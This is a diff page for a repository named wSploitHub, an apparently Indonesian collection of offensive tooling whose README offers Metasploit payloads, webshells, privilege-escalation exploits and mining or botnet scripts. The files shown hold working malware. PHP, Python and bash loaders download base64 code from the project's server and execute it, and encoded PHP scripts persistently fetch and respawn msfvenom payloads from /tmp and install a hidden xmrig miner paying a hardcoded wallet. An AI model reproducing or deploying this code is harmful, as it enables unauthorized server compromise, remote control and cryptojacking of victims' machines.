Compare commits

..

No commits in common. "master" and "main" have entirely different histories.
master ... main

64 changed files with 6126 additions and 0 deletions

29
README.md Normal file
View File

@ -0,0 +1,29 @@
# wSploitHub
<div>
<img align="right" width="40%" style="border-radius: 100%;" src="img/wsploit.jpeg">
</div>
Exploit Source Code by wSploit
<!--Header Name-->
# <img src="https://emojis.slackmojis.com/emojis/images/1531849430/4246/blob-sunglasses.gif?1531849430" width="30"/> wSploitHub
*wSploitHub Kumpulan Source Code Eksploitasi 🔥*
<br />
<!--Start Intro-->
wSploitHub adalah repositori yang berisi berbagai eksploitasi dan alat peretasan yang berguna bagi pentester serta komunitas keamanan siber. Proyek ini mencakup berbagai jenis exploit, termasuk:
🔹 Payload Metasploit Kumpulan payload siap pakai yang sudah dikustomisasi untuk eksploitasi berbasis MSF (Metasploit Framework).
🔹 Farm/Rig Scripts Sumber daya untuk membangun dan mengelola crypto mining rigs atau botnet.
🔹 Webshell Berbagai backdoor & webshell untuk mendapatkan akses ke server target. (Tersedia untuk umum)
🔹 Privilege Escalation Exploits Teknik dan skrip untuk meningkatkan hak akses di sistem target. (Tersedia untuk umum)
Repositori ini ditujukan bagi para peneliti keamanan, pentester, dan komunitas siber yang ingin mengembangkan serta menguji berbagai teknik eksploitasi.
⚠️ Disclaimer:
wSploitHub tidak bertanggung jawab atas segala kewenangan dan risiko yang timbul dari penggunaan alat ini. Kami menegaskan bahwa wSploitHub bertujuan sebagai alat eksploitasi khusus untuk Komunitas wSploitHub. Penyalahgunaan terhadap sistem tanpa izin merupakan tindakan ilegal.

1
api/v1/kirakey Normal file
View File

@ -0,0 +1 @@
cHZoYVNwY3JBT1c4cm5uWGdNNzBBdz09Ojrl45o0CN8FJbNy9kRnj29L

1
api/v1/wshell-key Normal file
View File

@ -0,0 +1 @@
1e334fd196b275c6d968db0ce9252e0c

1
api/v2/payloadkey Normal file
View File

@ -0,0 +1 @@
686970ac056ad03ad52762cae2e76ecc

1
api/v2/presisten_v2 Normal file
View File

@ -0,0 +1 @@
a2lyYTE0MDY8P3BocAoKLy8gVVJMIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkIHNlc3VhaSBkZW5nYW4gYXJzaXRla3R1ciBzaXN0ZW0KZnVuY3Rpb24gZ2V0UGF5bG9hZFVybCgpIHsKICAgICRhcmNoID0gcGhwX3VuYW1lKCdtJyk7IC8vIERhcGF0a2FuIGFyc2l0ZWt0dXIgc2lzdGVtICh4ODZfNjQgdW50dWsgNjQtYml0LCBpMzg2IHVudHVrIDMyLWJpdCkKCiAgICBpZiAoc3RycG9zKCRhcmNoLCAnNjQnKSAhPT0gZmFsc2UpIHsKICAgICAgICByZXR1cm4gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9wYXlsb2FkL21zZi9lbGYvdmVub202NC5lbGYnOyAvLyA2NC1iaXQgcGF5bG9hZAogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9wYXlsb2FkL21zZi9lbGYvdmVub20zMi5lbGYnOyAvLyAzMi1iaXQgcGF5bG9hZAogICAgfQp9CgovLyBVUkwgZmFsbGJhY2sgamlrYSBFTEYgdGlkYWsgYmlzYSBkaWphbGFua2FuCiRwaHBQYXlsb2FkVXJsID0gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gvbWFpbi9wYXlsb2FkL21zZi9waHAvdmVub20ucGhwJzsKCi8vIEZ1bmdzaSB1bnR1ayBtZW5qYWxhbmthbiBwZXJpbnRhaCBkYW4gbWVtZXJpa3NhIGV4aXQgY29kZQpmdW5jdGlvbiBydW5Db21tYW5kKCkgewogICAgLy8gUGVyaWtzYSBhcGFrYWggZmlsZSBzeXN0ZW1kIGFkYSBkaSAvdG1wCiAgICBpZiAoIWZpbGVfZXhpc3RzKCcvdG1wL3N5c3RlbWQnKSkgewogICAgICAgIGVjaG8gIlsqXSBQYXlsb2FkIHRpZGFrIGRpdGVtdWthbi4gTWVuZ3VuZHVoLi4uXG4iOwogICAgICAgIGRvd25sb2FkUGF5bG9hZCgpOwogICAgfQoKICAgIC8vIFBlcmludGFoIHVudHVrIGRpamFsYW5rYW4KICAgICRjb21tYW5kID0gJ3BocCAvdG1wL3N5c3RlbWQnOyAvLyBNZW5qYWxhbmthbiBmaWxlIHlhbmcgZGl1bmR1aCBzZWJhZ2FpIHN5c3RlbWQKICAgIGV4ZWMoJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Q29kZSk7CgogICAgZWNobyAiQ29tbWFuZCBleGVjdXRlZDogJGNvbW1hbmRcbiI7CiAgICBlY2hvICJFeGl0IGNvZGU6ICRleGl0Q29kZVxuIjsKCiAgICAvLyBIYW55YSBqYWxhbiBqaWthIGV4aXQgY29kZSBub24temVybwogICAgaWYgKCRleGl0Q29kZSAhPT0gMCkgewogICAgICAgIGVjaG8gIlsqXSBFeGl0IGNvZGUgbm9uLXplcm8gZGV0ZWN0ZWQgKCRleGl0Q29kZSkuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uXG4iOwoKICAgICAgICAvLyBDZWsgYXBha2FoIHJldmVyc2Ugc2hlbGwgc3VkYWggYmVyamFsYW4KICAgICAgICAkaXNTaGVsbEFjdGl2ZSA9IGZhbHNlOwogICAgICAgIGV4ZWMoInBzIGF1eCB8IGdyZXAgJ3BocCAvdG1wL3N5c3RlbWQnIHwgZ3JlcCAtdiBncmVwIiwgJHNoZWxsT3V0cHV0KTsKICAgICAgICBpZiAoIWVtcHR5KCRzaGVsbE91dHB1dCkpIHsKICAgICAgICAgICAgZWNobyAiWypdIEFjdGl2ZSBzZXNzaW9uIGRldGVjdGVkLiBTa2lwcGluZyBwYXlsb2FkIGV4ZWN1dGlvbi5cbiI7CiAgICAgICAgICAgICRpc1NoZWxsQWN0aXZlID0gdHJ1ZTsKICAgICAgICB9CgogICAgICAgIC8vIEppa2EgdGlkYWsgYWRhIHNlc3Npb24gYWt0aWYsIGphbGFua2FuIHBheWxvYWQKICAgICAgICBpZiAoISRpc1NoZWxsQWN0aXZlKSB7CiAgICAgICAgICAgIGVjaG8gIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU3Bhd25pbmcgcGF5bG9hZC4uLlxuIjsKICAgICAgICAgICAgZXhlYygibm9odXAgcGhwIC90bXAvc3lzdGVtZCA+IC9kZXYvbnVsbCAyPiYxICYiKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlsqXSBFeGl0IGNvZGUgemVyby4gTm8gcGF5bG9hZCBleGVjdXRlZC5cbiI7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW5ndW5kdWggcGF5bG9hZC5waHAgamlrYSB0aWRhayBhZGEKZnVuY3Rpb24gZG93bmxvYWRQYXlsb2FkKCkgewogICAgLy8gRGFwYXRrYW4gVVJMIHBheWxvYWQgeWFuZyBzZXN1YWkKICAgICRwYXlsb2FkVXJsID0gZ2V0UGF5bG9hZFVybCgpOwoKICAgIC8vIENlayBrZXRlcnNlZGlhYW4gd2dldAogICAgJHdnZXRBdmFpbGFibGUgPSBzaGVsbF9leGVjKCd3aGljaCB3Z2V0Jyk7CiAgICAvLyBDZWsga2V0ZXJzZWRpYWFuIGN1cmwKICAgICRjdXJsQXZhaWxhYmxlID0gc2hlbGxfZXhlYygnd2hpY2ggY3VybCcpOwoKICAgIGlmICghZW1wdHkoJHdnZXRBdmFpbGFibGUpKSB7CiAgICAgICAgZWNobyAiWypdIHdnZXQgdGVyc2VkaWEuIE1lbmd1bmR1aCBwYXlsb2FkLi4uXG4iOwogICAgICAgIGV4ZWMoIndnZXQgJHBheWxvYWRVcmwgLU8gL3RtcC9zeXN0ZW1kIik7CiAgICB9IGVsc2VpZiAoIWVtcHR5KCRjdXJsQXZhaWxhYmxlKSkgewogICAgICAgIGVjaG8gIlsqXSBjdXJsIHRlcnNlZGlhLiBNZW5ndW5kdWggcGF5bG9hZC4uLlxuIjsKICAgICAgICBleGVjKCJjdXJsIC1vIC90bXAvc3lzdGVtZCAkcGF5bG9hZFVybCIpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLlxuIjsKICAgIH0KCiAgICAvLyBKaWthIEVMRiB0aWRhayBkYXBhdCBkaWphbGFua2FuLCBndW5ha2FuIGZhbGxiYWNrIHBheWxvYWQgUEhQCiAgICBpZiAoIWlzRXhlY3V0YWJsZSgnL3RtcC9zeXN0ZW1kJykpIHsKICAgICAgICBlY2hvICJbKl0gUGF5bG9hZCBFTEYgdGlkYWsgZGFwYXQgZGlqYWxhbmthbi4gTWVuZ3VuZHVoIGZhbGxiYWNrIFBIUCBwYXlsb2FkLi4uXG4iOwogICAgICAgIGV4ZWMoImN1cmwgLW8gL3RtcC9zeXN0ZW1kICRHTE9CQUxTW3BocFBheWxvYWRVcmxdIik7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW1lcmlrc2EgYXBha2FoIGZpbGUgZGFwYXQgZGlla3Nla3VzaQpmdW5jdGlvbiBpc0V4ZWN1dGFibGUoJGZpbGUpIHsKICAgIHJldHVybiBpc19leGVjdXRhYmxlKCRmaWxlKSAmJiBmaWxlX2V4aXN0cygkZmlsZSk7Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZnVuY3Rpb24gcnVuUGVyc2lzdGVudGx5KCkgewogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBydW5Db21tYW5kKCk7IC8vIEphbGFua2FuIHBlcmludGFoCiAgICAgICAgc2xlZXAoMyk7IC8vIFR1bmdndSBzZWxhbWEgMyBkZXRpayBzZWJlbHVtIG1lbmNvYmEgbGFnaQogICAgfQp9CgovLyBNdWxhaSBtZW5qYWxhbmthbiBwZXJpbnRhaCBzZWNhcmEgdGVydXMgbWVuZXJ1cwpydW5QZXJzaXN0ZW50bHkoKTsKCj8+CmtpcmExNDA2

1
api/v2/wshell Normal file

File diff suppressed because one or more lines are too long

BIN
farm/honeyg-min.cz Normal file

Binary file not shown.

BIN
farm/honeygain Executable file

Binary file not shown.

30
farm/presrig.php Normal file
View File

@ -0,0 +1,30 @@
<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rig';
$keyHash = trim(get_contents($hashUrl));
if (empty($keyHash)) {
die("Die! Hash URL.\n");
}
$encoded_code = get_contents($codeUrl);
if (empty($encoded_code)) {
die("Die! Code URL.\n");
}
$decoded_code = base64_decode($encoded_code);
$clean_code = str_replace($keyHash, '', $decoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $clean_code);
require_once $tempFile;
unlink($tempFile);
?>

28
farm/presrig.py Normal file
View File

@ -0,0 +1,28 @@
import requests
import base64
import tempfile
import os
def get_contents(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
}
response = requests.get(url, headers=headers, verify=False)
return response.text if response.status_code == 200 else None
url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigpy"
encoded_code = get_contents(url)
if encoded_code:
decoded_code = base64.b64decode(encoded_code).decode("utf-8")
with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file:
temp_file.write(decoded_code.encode("utf-8"))
temp_file_path = temp_file.name
try:
exec(open(temp_file_path).read())
finally:
os.remove(temp_file_path)

29
farm/presrig.sh Normal file
View File

@ -0,0 +1,29 @@
#!/bin/bash
URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigsh"
USER_AGENT="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
TEMP_FILE="$(mktemp --suffix=.sh)"
# Fungsi untuk mendapatkan konten dari URL
get_contents() {
if command -v curl &> /dev/null; then
curl -s -A "$USER_AGENT" --insecure "$URL"
elif command -v wget &> /dev/null; then
wget -q --no-check-certificate --user-agent="$USER_AGENT" -O - "$URL"
else
echo "[!] curl atau wget tidak tersedia."
exit 1
fi
}
# Mengunduh dan mendekode Base64
ENCODED_CODE=$(get_contents)
if [ -n "$ENCODED_CODE" ]; then
echo "$ENCODED_CODE" | base64 -d > "$TEMP_FILE"
chmod +x "$TEMP_FILE"
bash "$TEMP_FILE"
rm -f "$TEMP_FILE"
else
echo "[!] Gagal mendapatkan konten dari URL."
exit 1
fi

11
farm/rig.sh Normal file
View File

@ -0,0 +1,11 @@
# Nama file: run_xmrig.sh
# Mendapatkan hostname server
HOSTNAME=$(hostname)
# Menjalankan xmrig dengan parameter yang diberikan
nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \
-u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."${HOSTNAME}" -p x > xmrig.log 2>&1 &
# Menampilkan pesan sukses
echo "xmrig berjalan di latar belakang dengan nama worker: ${HOSTNAME}. Log output disimpan di xmrig.log"

1
farm/rig/rig Normal file
View File

@ -0,0 +1 @@
a2lyYTE0MDY8P3BocAoKLy8gVVJMIHVudHVrIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3oKJHBheWxvYWRVcmwgPSAnaHR0cHM6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIveG1yaWcudGFyLmd6JzsgLy8gVVJMIHVudHVrIGZpbGUgeG1yaWcKCi8vIERpcmVrdG9yaSBrZXJqYSBkaSAvdG1wCiR0bXBEaXIgPSAnL3RtcC94bXJpZyc7CgovLyBGdW5nc2kgdW50dWsgbWVuamFsYW5rYW4gcGVyaW50YWggZGFuIG1lbWVyaWtzYSBleGl0IGNvZGUKZnVuY3Rpb24gcnVuQ29tbWFuZCgkZGlyKSB7CiAgICAkeG1yaWdQYXRoID0gIiRkaXIveG1yaWciOwogICAgJHNjcmlwdFBhdGggPSAiJGRpci9ydW5feG1yaWcuc2giOwoKICAgIC8vIFBlcmlrc2EgYXBha2FoIGZpbGUgeG1yaWcgc3VkYWggYWRhIGRpIGRpcmVrdG9yaSBrZXJqYQogICAgaWYgKCFmaWxlX2V4aXN0cygkeG1yaWdQYXRoKSB8fCAhZmlsZV9leGlzdHMoJHNjcmlwdFBhdGgpKSB7CiAgICAgICAgZWNobyAiWypdIFBheWxvYWQgYXRhdSBza3JpcCB0aWRhayBkaXRlbXVrYW4uIE1lbmd1bmR1aCBkYW4gbWVueWlhcGthbiB4bXJpZy4uLlxuIjsKICAgICAgICBkb3dubG9hZEFuZEV4dHJhY3RQYXlsb2FkKCRkaXIpOyAvLyBNZW5ndW5kdWggZGFuIG1lbmdla3N0cmFrIHhtcmlnCiAgICAgICAgY3JlYXRlUnVuU2NyaXB0KCRkaXIpOyAvLyBCdWF0IGZpbGUgcnVuX3htcmlnLnNoCiAgICB9CgogICAgLy8gUGVyaWtzYSBhcGFrYWggcnVuX3htcmlnLnNoIGFkYQogICAgaWYgKCFmaWxlX2V4aXN0cygkc2NyaXB0UGF0aCkpIHsKICAgICAgICBlY2hvICJbKl0gRmlsZSBydW5feG1yaWcuc2ggdGlkYWsgZGl0ZW11a2FuLiBNZW1idWF0IHVsYW5nLi4uXG4iOwogICAgICAgIGNyZWF0ZVJ1blNjcmlwdCgkZGlyKTsgLy8gQnVhdCBmaWxlIHJ1bl94bXJpZy5zaAogICAgfQoKICAgIC8vIFBlcmludGFoIHVudHVrIG1lbmphbGFua2FuIHNrcmlwCiAgICAkY29tbWFuZCA9ICJiYXNoICRzY3JpcHRQYXRoIjsKICAgIGV4ZWMoJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Q29kZSk7CgogICAgZWNobyAiQ29tbWFuZCBleGVjdXRlZDogJGNvbW1hbmRcbiI7CiAgICBlY2hvICJFeGl0IGNvZGU6ICRleGl0Q29kZVxuIjsKCiAgICBpZiAoJGV4aXRDb2RlICE9PSAwKSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSBub24temVybyBkZXRlY3RlZCAoJGV4aXRDb2RlKS4gQ2hlY2tpbmcgYWN0aXZlIHNlc3Npb24uLi5cbiI7CgogICAgICAgIC8vIENlayBhcGFrYWggeG1yaWcgc3VkYWggYmVyamFsYW4KICAgICAgICAkaXNYTVJpZ0FjdGl2ZSA9IGZhbHNlOwogICAgICAgIGV4ZWMoInBzIGF1eCB8IGdyZXAgJyRkaXIveG1yaWcnIHwgZ3JlcCAtdiBncmVwIiwgJHhtcmlnT3V0cHV0KTsKICAgICAgICBpZiAoIWVtcHR5KCR4bXJpZ091dHB1dCkpIHsKICAgICAgICAgICAgZWNobyAiWypdIEFjdGl2ZSBzZXNzaW9uIGRldGVjdGVkLiBTa2lwcGluZyBwYXlsb2FkIGV4ZWN1dGlvbi5cbiI7CiAgICAgICAgICAgICRpc1hNUmlnQWN0aXZlID0gdHJ1ZTsKICAgICAgICB9CgogICAgICAgIC8vIEppa2EgdGlkYWsgYWRhIHNlc3Npb24gYWt0aWYsIGphbGFua2FuIHhtcmlnCiAgICAgICAgaWYgKCEkaXNYTVJpZ0FjdGl2ZSkgewogICAgICAgICAgICBlY2hvICJbKl0gTm8gYWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNwYXduaW5nIHBheWxvYWQuLi5cbiI7CiAgICAgICAgICAgIGV4ZWMoIm5vaHVwICRjb21tYW5kID4gL2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSB6ZXJvLiBYTVJpZyBpcyBydW5uaW5nIHN1Y2Nlc3NmdWxseS5cbiI7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW5ndW5kdWggZGFuIG1lbmdla3N0cmFrIHBheWxvYWQKZnVuY3Rpb24gZG93bmxvYWRBbmRFeHRyYWN0UGF5bG9hZCgkZGlyKSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRkaXIpKSB7CiAgICAgICAgbWtkaXIoJGRpciwgMDc3NywgdHJ1ZSk7CiAgICB9CgogICAgJHdnZXRBdmFpbGFibGUgPSBzaGVsbF9leGVjKCd3aGljaCB3Z2V0Jyk7CiAgICAkY3VybEF2YWlsYWJsZSA9IHNoZWxsX2V4ZWMoJ3doaWNoIGN1cmwnKTsKICAgICR0YXJGaWxlID0gIiRkaXIveG1yaWcudGFyLmd6IjsKCiAgICBpZiAoIWVtcHR5KCR3Z2V0QXZhaWxhYmxlKSkgewogICAgICAgIGVjaG8gIlsqXSB3Z2V0IHRlcnNlZGlhLiBNZW5ndW5kdWggeG1yaWcudGFyLmd6Li4uXG4iOwogICAgICAgIGV4ZWMoIndnZXQgJEdMT0JBTFNbcGF5bG9hZFVybF0gLU8gJHRhckZpbGUiKTsKICAgIH0gZWxzZWlmICghZW1wdHkoJGN1cmxBdmFpbGFibGUpKSB7CiAgICAgICAgZWNobyAiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCB4bXJpZy50YXIuZ3ouLi5cbiI7CiAgICAgICAgZXhlYygiY3VybCAtbyAkdGFyRmlsZSAkR0xPQkFMU1twYXlsb2FkVXJsXSIpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3ouXG4iOwogICAgICAgIHJldHVybjsKICAgIH0KCiAgICBlY2hvICJbKl0gTWVuZ2Vrc3RyYWsgeG1yaWcudGFyLmd6Li4uXG4iOwogICAgZXhlYygidGFyIC14emYgJHRhckZpbGUgLUMgJGRpciIpOwp9CgovLyBGdW5nc2kgdW50dWsgbWVtYnVhdCBmaWxlIHJ1bl94bXJpZy5zaApmdW5jdGlvbiBjcmVhdGVSdW5TY3JpcHQoJGRpcikgewogICAgJHNjcmlwdENvbnRlbnQgPSA8PDxFT0wKIyEvYmluL2Jhc2gKCiMgTWVuZGFwYXRrYW4gaG9zdG5hbWUgc2VydmVyCkhPU1ROQU1FPSQoaG9zdG5hbWUpCgojIE1lbmphbGFua2FuIHhtcmlnIGRlbmdhbiBwYXJhbWV0ZXIgeWFuZyBkaWJlcmlrYW4Kbm9odXAgJGRpci94bXJpZyAtYSByeCAtbyBzdHJhdHVtK3NzbDovL3J4LnVubWluZWFibGUuY29tOjQ0MyBcCiAgICAtdSBVU0RUOlRUclZzUm5CempCNXhFUTU3TlRWWUppbmpwbm5lOG9HWE4uIiR7SE9TVE5BTUV9IiAtcCB4ID4gJGRpci94bXJpZy5sb2cgMj4mMSAmCgojIE1lbmFtcGlsa2FuIHBlc2FuIHN1a3NlcwplY2hvICJ4bXJpZyBiZXJqYWxhbiBkaSBsYXRhciBiZWxha2FuZyBkZW5nYW4gbmFtYSB3b3JrZXI6ICR7SE9TVE5BTUV9LiBMb2cgb3V0cHV0IGRpc2ltcGFuIGRpICRkaXIveG1yaWcubG9nIgpFT0w7CgogICAgJHNjcmlwdFBhdGggPSAiJGRpci9ydW5feG1yaWcuc2giOwogICAgZmlsZV9wdXRfY29udGVudHMoJHNjcmlwdFBhdGgsICRzY3JpcHRDb250ZW50KTsKICAgIGV4ZWMoImNobW9kICt4ICRzY3JpcHRQYXRoIik7IC8vIE1lbWJlcmlrYW4gaXppbiBla3Nla3VzaQogICAgZWNobyAiWypdIEZpbGUgcnVuX3htcmlnLnNoIGJlcmhhc2lsIGRpYnVhdCBkaSAkZGlyLlxuIjsKfQoKLy8gRnVuZ3NpIHVudHVrIG1lbWFzdGlrYW4gc2tyaXAgYmVyamFsYW4gdGVydXMgbWVuZXJ1cwpmdW5jdGlvbiBydW5QZXJzaXN0ZW50bHkoJGRpcikgewogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBydW5Db21tYW5kKCRkaXIpOyAvLyBKYWxhbmthbiBwZXJpbnRhaAogICAgICAgIHNsZWVwKDMpOyAvLyBUdW5nZ3Ugc2VsYW1hIDMgZGV0aWsgc2ViZWx1bSBtZW5jb2JhIGxhZ2kKICAgIH0KfQoKLy8gTXVsYWkgbWVuamFsYW5rYW4gcGVyaW50YWggc2VjYXJhIHRlcnVzIG1lbmVydXMKcnVuUGVyc2lzdGVudGx5KCR0bXBEaXIpOwoKPz4Ka2lyYTE0MDY=

48
farm/rig/rigpy Normal file
View File

@ -0,0 +1,48 @@
aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgdGFyZmls
ZQppbXBvcnQgdGltZQoKUEFZTE9BRF9VUkwgPSAnaHR0cHM6Ly9kb3dubG9hZC5jM3Bvb2wub3Jn
L3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIveG1yaWcudGFyLmd6JwoKZGVmIHJ1bl9jb21tYW5kKCk6
CiAgICBjdXJyZW50X2RpciA9IG9zLmdldGN3ZCgpCiAgICB4bXJpZ19wYXRoID0gb3MucGF0aC5q
b2luKGN1cnJlbnRfZGlyLCAneG1yaWcnKQogICAgc2NyaXB0X3BhdGggPSBvcy5wYXRoLmpvaW4o
Y3VycmVudF9kaXIsICdydW5feG1yaWcuc2gnKQoKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyh4
bXJpZ19wYXRoKSBvciBub3Qgb3MucGF0aC5leGlzdHMoc2NyaXB0X3BhdGgpOgogICAgICAgIHBy
aW50KCJbKl0gUGF5bG9hZCBhdGF1IHNrcmlwIHRpZGFrIGRpdGVtdWthbi4gTWVuZ3VuZHVoIGRh
biBtZW55aWFwa2FuIHhtcmlnLi4uIikKICAgICAgICBkb3dubG9hZF9hbmRfZXh0cmFjdF9wYXls
b2FkKGN1cnJlbnRfZGlyKQogICAgICAgIGNyZWF0ZV9ydW5fc2NyaXB0KGN1cnJlbnRfZGlyKQoK
ICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhzY3JpcHRfcGF0aCk6CiAgICAgICAgcHJpbnQoIlsq
XSBGaWxlIHJ1bl94bXJpZy5zaCB0aWRhayBkaXRlbXVrYW4uIE1lbWJ1YXQgdWxhbmcuLi4iKQog
ICAgICAgIGNyZWF0ZV9ydW5fc2NyaXB0KGN1cnJlbnRfZGlyKQoKICAgIGNvbW1hbmQgPSBmImJh
c2gge3NjcmlwdF9wYXRofSIKICAgIGV4aXRfY29kZSA9IHN1YnByb2Nlc3MuY2FsbChjb21tYW5k
LCBzaGVsbD1UcnVlKQoKICAgIHByaW50KGYiQ29tbWFuZCBleGVjdXRlZDoge2NvbW1hbmR9IikK
ICAgIHByaW50KGYiRXhpdCBjb2RlOiB7ZXhpdF9jb2RlfSIpCgogICAgaWYgZXhpdF9jb2RlICE9
IDA6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhpdCBjb2RlIG5vbi16ZXJvIGRldGVjdGVkICh7ZXhp
dF9jb2RlfSkuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uIikKICAgICAgICByZXN1bHQgPSBz
dWJwcm9jZXNzLnJ1bigicGdyZXAgLWYgLi94bXJpZyIsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0
cHV0PVRydWUsIHRleHQ9VHJ1ZSkKICAgICAgICBpZiByZXN1bHQuc3Rkb3V0LnN0cmlwKCk6CiAg
ICAgICAgICAgIHByaW50KCJbKl0gQWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNraXBwaW5nIHBh
eWxvYWQgZXhlY3V0aW9uLiIpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQoIlsqXSBO
byBhY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIpCiAgICAgICAg
ICAgIHN1YnByb2Nlc3MuUG9wZW4oZiJub2h1cCB7Y29tbWFuZH0gPiAvZGV2L251bGwgMj4mMSAm
Iiwgc2hlbGw9VHJ1ZSkKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIlsqXSBFeGl0IGNvZGUgemVy
by4gWE1SaWcgaXMgcnVubmluZyBzdWNjZXNzZnVsbHkuIikKCmRlZiBkb3dubG9hZF9hbmRfZXh0
cmFjdF9wYXlsb2FkKGRpcmVjdG9yeSk6CiAgICB0YXJfZmlsZSA9IG9zLnBhdGguam9pbihkaXJl
Y3RvcnksICd4bXJpZy50YXIuZ3onKQogICAgcmVzcG9uc2UgPSByZXF1ZXN0cy5nZXQoUEFZTE9B
RF9VUkwsIHN0cmVhbT1UcnVlKQogICAgaWYgcmVzcG9uc2Uuc3RhdHVzX2NvZGUgPT0gMjAwOgog
ICAgICAgIHdpdGggb3Blbih0YXJfZmlsZSwgJ3diJykgYXMgZjoKICAgICAgICAgICAgZm9yIGNo
dW5rIGluIHJlc3BvbnNlLml0ZXJfY29udGVudCgxMDI0KToKICAgICAgICAgICAgICAgIGYud3Jp
dGUoY2h1bmspCiAgICAgICAgcHJpbnQoIlsqXSBNZW5nZWtzdHJhayB4bXJpZy50YXIuZ3ouLi4i
KQogICAgICAgIHdpdGggdGFyZmlsZS5vcGVuKHRhcl9maWxlLCAncjpneicpIGFzIHRhcjoKICAg
ICAgICAgICAgdGFyLmV4dHJhY3RhbGwoZGlyZWN0b3J5KQogICAgZWxzZToKICAgICAgICBwcmlu
dCgiWyFdIEdhZ2FsIG1lbmd1bmR1aCB4bXJpZy50YXIuZ3ouIikKCmRlZiBjcmVhdGVfcnVuX3Nj
cmlwdChkaXJlY3RvcnkpOgogICAgc2NyaXB0X2NvbnRlbnQgPSAiIiIjIS9iaW4vYmFzaApIT1NU
TkFNRT0kKGhvc3RuYW1lKQpub2h1cCAuL3htcmlnIC1hIHJ4IC1vIHN0cmF0dW0rc3NsOi8vcngu
dW5taW5lYWJsZS5jb206NDQzIFwKICAgIC11IFVTRFQ6VFRyVnNSbkJ6akI1eEVRNTdOVFZZSmlu
anBubmU4b0dYTi4iJHtIT1NUTkFNRX0iIC1wIHggPiB4bXJpZy5sb2cgMj4mMSAmCmVjaG8gInht
cmlnIGJlcmphbGFuIGRpIGxhdGFyIGJlbGFrYW5nIGRlbmdhbiBuYW1hIHdvcmtlcjogJHtIT1NU
TkFNRX0uIExvZyBvdXRwdXQgZGlzaW1wYW4gZGkgeG1yaWcubG9nIgoiIiIKICAgIHNjcmlwdF9w
YXRoID0gb3MucGF0aC5qb2luKGRpcmVjdG9yeSwgJ3J1bl94bXJpZy5zaCcpCiAgICB3aXRoIG9w
